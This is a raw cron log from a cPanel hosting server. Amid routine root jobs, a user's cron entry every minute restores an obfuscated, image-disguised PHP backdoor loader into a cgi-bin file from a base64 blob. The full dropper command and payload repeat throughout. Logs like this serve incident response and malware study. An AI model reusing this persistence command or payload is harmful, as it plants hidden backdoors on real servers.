BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:07:01 server CROND[19885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:08:01 server CROND[20293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:08:01 server CROND[20294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:08:01 server CROND[20292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:09:01 server CROND[20675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:09:01 server CROND[20678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:09:01 server CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 08:09:01 server CROND[20676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:10:01 server CROND[21161]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:10:01 server CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:10:01 server CROND[21163]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:10:01 server CROND[21165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:10:01 server CROND[21166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:10:01 server CROND[21168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:10:01 server CROND[21169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:10:01 server CROND[21167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:11:01 server CROND[22000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:11:01 server CROND[22001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:11:01 server CROND[22002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:12:01 server CROND[22383]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:12:01 server CROND[22384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:12:01 server CROND[22385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:12:01 server CROND[22386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:13:01 server CROND[22794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:13:01 server CROND[22796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:13:01 server CROND[22801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:14:01 server CROND[23331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:14:01 server CROND[23332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:14:01 server CROND[23333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:15:01 server CROND[23726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:15:01 server CROND[23728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:15:01 server CROND[23730]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 08:15:01 server CROND[23733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:15:01 server CROND[23736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:15:01 server CROND[23737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 08:15:01 server CROND[23734]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:15:01 server CROND[23739]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 08:15:01 server CROND[23731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:16:01 server CROND[24746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:16:01 server CROND[24747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:16:01 server CROND[24748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:17:01 server CROND[25134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:17:01 server CROND[25133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:17:01 server CROND[25132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:18:01 server CROND[25560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:18:01 server CROND[25561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:18:01 server CROND[25562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:19:01 server CROND[25941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:19:01 server CROND[25942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:19:01 server CROND[25943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
